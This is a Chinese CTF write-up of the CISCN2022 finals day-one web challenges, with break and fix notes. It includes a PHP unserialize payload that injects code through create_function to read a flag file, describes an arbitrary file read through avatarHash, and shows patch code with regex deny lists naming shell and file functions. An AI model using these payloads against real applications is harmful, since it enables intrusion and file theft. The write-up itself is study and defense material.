赛题笔记-[CISCN2022]总决赛-第一天


web_unserialize_game

break

具体思路见以前写的wp

https://syunaht.com/p/3645611024.html#toc-heading-10

其中利用了create_function代码注入就可以RCE。

因为检测很多个单个字母,且linux命令对大小写敏感,所以用大写的PHP命令进行文件读取。

<?php

if (isset($_GET['p'])) {
    $p = unserialize($_GET['p']);
}

class Game
{
    private $a;
    protected $b;

    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }

}

// "fl4g1" [7]=> string(5) "fl4g2"
echo urlencode(serialize(new Game("create_function", ";}VAR_DUMP(FILE_GET_CONTENTS('/fl4g1'));/*")));

fix

加个大小写检测即可

if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)/i", $a) > 0) die("Hacker!");
if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)/i", $b) > 0) die("fl4g?");

web_just

fix

随手访问www.zip发现源码

common.php文件里有十分明显的RCE

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

改写为常规if判断即可。

if ($matches[1][$i]) {
    $flag = "if";
}else{
    $flag = "else";
}

web_so_easy_4_u

break

在avatarhash处有任意文件读取

再访问/api/get.ph解个码即可。

fix

先是读文件,把所有源码都读出来

发现/util/img2base.php可以读文件

image

/api/get.php处进行了简单的路径拼接。

image

/api/save.php里接收数据:image

所以加点严格判断:

if (isset($_POST['avatarHash']) && $_POST['avatarHash'] != "" && strlen($_POST['avatarHash']) == 32) {
    if (preg_match("/flag|\.|\//i", $_POST['avatarHash'])) {
        die();
    }
    $_SESSION['avatar'] = $_POST['avatarHash'];
}

web_backdoor

fix

给传入的两个参数加了点正则检测

$pattern = "select|insert|update|delete|union|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert|flag";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录